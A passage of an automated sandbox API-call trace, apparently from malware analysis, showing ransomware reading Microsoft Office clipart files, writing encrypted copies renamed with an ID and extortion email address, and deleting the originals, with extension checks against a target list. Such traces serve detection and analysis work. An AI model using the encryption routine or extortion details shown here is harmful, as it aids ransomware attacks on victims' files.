hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.620] SetEndOfFile (hFile=0x3f8) returned 1 [0178.620] CloseHandle (hObject=0x3f8) returned 1 [0178.621] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.621] SetEndOfFile (hFile=0x3f4) returned 1 [0178.624] CloseHandle (hObject=0x3f4) returned 1 [0178.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString=".doc") returned 4 [0178.626] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0178.626] lstrlenW (lpString=".docx") returned 5 [0178.626] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0178.626] lstrlenW (lpString=".pdf") returned 4 [0178.626] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0178.626] lstrlenW (lpString=".xls") returned 4 [0178.626] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0178.626] lstrlenW (lpString=".xlsx") returned 5 [0178.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0178.626] lstrlenW (lpString=".ppt") returned 4 [0178.626] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString=".zip") returned 4 [0178.626] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0178.626] lstrlenW (lpString=".rar") returned 4 [0178.626] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0178.626] lstrlenW (lpString=".bz2") returned 4 [0178.626] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0178.626] lstrlenW (lpString=".7z") returned 3 [0178.626] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString=".dbf") returned 4 [0178.626] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString=".1cd") returned 4 [0178.626] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0178.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.626] lstrlenW (lpString=".jpg") returned 4 [0178.626] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString=".doc") returned 4 [0178.627] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0178.627] lstrlenW (lpString=".docx") returned 5 [0178.627] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0178.627] lstrlenW (lpString=".pdf") returned 4 [0178.627] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString=".xls") returned 4 [0178.627] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString=".xlsx") returned 5 [0178.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0178.627] lstrlenW (lpString=".ppt") returned 4 [0178.627] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString=".zip") returned 4 [0178.627] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString=".rar") returned 4 [0178.627] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0178.627] lstrlenW (lpString=".bz2") returned 4 [0178.627] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0178.627] lstrlenW (lpString=".7z") returned 3 [0178.627] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString=".dbf") returned 4 [0178.627] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString=".1cd") returned 4 [0178.627] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0178.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0178.627] lstrlenW (lpString=".jpg") returned 4 [0178.627] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0178.628] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0178.628] lstrlenW (lpString="BD19582_.GIF") returned 12 [0178.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.628] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15733) returned 1 [0178.628] CloseHandle (hObject=0x3f4) returned 1 [0178.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0178.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.629] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.629] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0178.629] GetLastError () returned 0x0 [0178.629] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0178.632] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0178.633] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.633] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.634] SetEndOfFile (hFile=0x3f8) returned 1 [0178.634] CloseHandle (hObject=0x3f8) returned 1 [0178.635] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.635] SetEndOfFile (hFile=0x3f4) returned 1 [0179.516] CloseHandle (hObject=0x3f4) returned 1 [0179.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.517] lstrlenW (lpString=".doc") returned 4 [0179.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.517] lstrlenW (lpString=".docx") returned 5 [0179.517] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0179.517] lstrlenW (lpString=".pdf") returned 4 [0179.517] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.517] lstrlenW (lpString=".xls") returned 4 [0179.517] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.517] lstrlenW (lpString=".xlsx") returned 5 [0179.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0179.517] lstrlenW (lpString=".ppt") returned 4 [0179.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.517] lstrlenW (lpString=".zip") returned 4 [0179.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.517] lstrlenW (lpString=".rar") returned 4 [0179.517] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.517] lstrlenW (lpString=".bz2") returned 4 [0179.517] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.517] lstrlenW (lpString=".7z") returned 3 [0179.517] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.517] lstrlenW (lpString=".dbf") returned 4 [0179.517] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.517] lstrlenW (lpString=".1cd") returned 4 [0179.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString=".jpg") returned 4 [0179.518] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString=".doc") returned 4 [0179.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.518] lstrlenW (lpString=".docx") returned 5 [0179.518] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0179.518] lstrlenW (lpString=".pdf") returned 4 [0179.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString=".xls") returned 4 [0179.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString=".xlsx") returned 5 [0179.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0179.518] lstrlenW (lpString=".ppt") returned 4 [0179.518] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString=".zip") returned 4 [0179.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString=".rar") returned 4 [0179.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.518] lstrlenW (lpString=".bz2") returned 4 [0179.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.518] lstrlenW (lpString=".7z") returned 3 [0179.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString=".dbf") returned 4 [0179.518] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.518] lstrlenW (lpString=".1cd") returned 4 [0179.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0179.519] lstrlenW (lpString=".jpg") returned 4 [0179.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.519] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.519] lstrlenW (lpString="BL00012_.WMF") returned 12 [0179.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.532] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9818) returned 1 [0179.532] CloseHandle (hObject=0x458) returned 1 [0179.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0180.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.823] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.823] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.824] GetLastError () returned 0x0 [0181.824] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x265a, lpOverlapped=0x0) returned 1 [0181.826] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2660, lpOverlapped=0x0) returned 1 [0181.828] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.828] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.828] SetEndOfFile (hFile=0x484) returned 1 [0181.828] CloseHandle (hObject=0x484) returned 1 [0181.829] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.829] SetEndOfFile (hFile=0x480) returned 1 [0181.832] CloseHandle (hObject=0x480) returned 1 [0181.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0181.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.833] lstrlenW (lpString=".doc") returned 4 [0181.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".docx") returned 5 [0181.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.833] lstrlenW (lpString=".pdf") returned 4 [0181.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".xls") returned 4 [0181.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.833] lstrlenW (lpString=".xlsx") returned 5 [0181.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.833] lstrlenW (lpString=".ppt") returned 4 [0181.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.833] lstrlenW (lpString=".zip") returned 4 [0181.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.833] lstrlenW (lpString=".rar") returned 4 [0181.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".bz2") returned 4 [0181.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".7z") returned 3 [0181.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString=".dbf") returned 4 [0181.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString=".1cd") returned 4 [0181.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString=".jpg") returned 4 [0181.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString=".doc") returned 4 [0181.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString=".docx") returned 5 [0181.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.834] lstrlenW (lpString=".pdf") returned 4 [0181.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString=".xls") returned 4 [0181.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.834] lstrlenW (lpString=".xlsx") returned 5 [0181.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.834] lstrlenW (lpString=".ppt") returned 4 [0181.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.834] lstrlenW (lpString=".zip") returned 4 [0181.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.834] lstrlenW (lpString=".rar") returned 4 [0181.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString=".bz2") returned 4 [0181.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString=".7z") returned 3 [0181.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.835] lstrlenW (lpString=".dbf") returned 4 [0181.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.835] lstrlenW (lpString=".1cd") returned 4 [0181.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0181.835] lstrlenW (lpString=".jpg") returned 4 [0181.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.835] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.835] lstrlenW (lpString="BL00262_.WMF") returned 12 [0181.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.835] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2556) returned 1 [0181.835] CloseHandle (hObject=0x480) returned 1 [0181.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0181.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0181.836] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.836] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0181.837] GetLastError () returned 0x0 [0181.837] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0181.838] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xa00, lpOverlapped=0x0) returned 1 [0181.839] ReadFile (in: hFile=0x480, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.839] WriteFile (in: hFile=0x484, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.840] SetEndOfFile (hFile=0x484) returned 1 [0181.840] CloseHandle (hObject=0x484) returned 1 [0181.841] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: 